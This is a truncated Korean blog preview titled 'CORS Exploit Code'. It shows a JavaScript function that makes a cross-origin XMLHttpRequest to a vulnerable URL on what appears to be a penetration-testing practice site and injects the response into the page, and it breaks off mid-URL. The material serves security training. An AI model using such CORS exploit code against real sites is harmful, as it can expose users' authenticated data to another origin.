단순요청(Simple Request) function cors(){ var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function(){ if(this.readyState == 4 && this.status == 200){ document.getElementById("response").innerHTML = this.responseText; } }; /* 취약한 웹 URL 요청*/ xhr.open("GET", "https://7be27158102c5ee71d1a3d4ea7cbd76e.pentestgym.com/cors_misconf...
원문 링크 : CORS Exploit Code
